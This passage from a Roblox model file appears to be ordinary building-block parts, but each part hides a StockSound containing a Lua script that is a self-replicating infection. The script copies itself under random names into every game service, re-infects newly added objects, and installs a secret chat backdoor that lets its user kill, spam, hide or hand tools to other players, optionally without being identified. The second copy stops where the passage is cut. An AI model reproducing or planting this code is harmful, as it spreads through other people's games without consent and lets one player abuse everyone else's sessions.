				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX821">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX822">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX823">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-173</X>
					<Y>33.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX824">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX825">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
